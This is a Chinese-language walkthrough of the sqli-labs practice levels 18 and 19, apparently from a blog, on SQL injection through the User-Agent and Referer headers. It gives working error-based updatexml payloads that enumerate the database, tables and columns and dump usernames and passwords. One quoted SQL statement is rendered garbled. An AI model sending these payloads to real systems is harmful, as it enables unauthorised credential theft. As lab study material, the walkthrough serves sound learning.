sqli-labs less-18 http头user-agent注入

HTTP头注入

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的

X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上

COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP

Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。

登入后页面回显IP和User-Agent,抓包在bp中进行测试

less-18

抓包

HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。

源码


从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。

接下来开始注入

构造payload

源码insert语句为

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (' u a g e n t ′ , ′ uagent', ' uagent′,′IP', $uname)

所以我们构造

1',2,3) #

闭合方式。不能使用--来注释,这是HTTP报文,不是URL,URL解释+为空格

1' or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #

因为插入语句使用or来连接

得到数据库名

爆表

。' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #

爆列

User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #

数据

User-Agent:' or updatexml(1,concat(0x7e,substring((select group_concat(username,'-',password) from security.users),30,30)),3) or ',2,3) #

,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据

less-19

登入进去,页面回显IP和Referer

根据上一关,此次使用Referer来进行报错注入

使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。

库名

Referer: ' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #

表名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #

列名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #

数据

Referer: ' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #方法同less-18

相关推荐
adinnet20263 分钟前
意图识别(Intent Recognition):智能体怎么听懂你想干啥
大数据·数据库
其实防守也摸鱼5 分钟前
内网安全防护实践:从攻击视角理解防御要点
java·前端·安全·架构·自动化·nps
笨小孩@GF 知行合一6 分钟前
易语言-基础-外部数据库
数据库·编程·易语言·中文编程
DolphinDB智臾科技11 分钟前
告别繁琐解析!BinaryTcp 模块实现沪深 Level‑1 行情接收‑解析‑落库一站式能力
数据库·插件·dolphindb
weixin_4045512414 分钟前
Oracle SQL 优化知识库:构建方案与价值评估
数据库·sql·oracle
茉莉玫瑰花茶1 小时前
OpenGL [ 基础概念 ]
java·前端·数据库
未来之窗软件服务1 小时前
自考大学★信息安全●简答题—东方仙盟
安全·web安全·仙盟创梦ide·东方仙盟
157092511341 小时前
Android 架构模式详解:从 MVC、MVP 到 MVVM
android·架构·mvc
温暖小土1 小时前
Spring AI 接入 DeepSeek Chat 模型
数据库·人工智能·spring
UCloud_TShare1 小时前
从DeepSeek Elastic Compute到UCloud Agent Sandbox:构建安全、可控的Agent执行环境
安全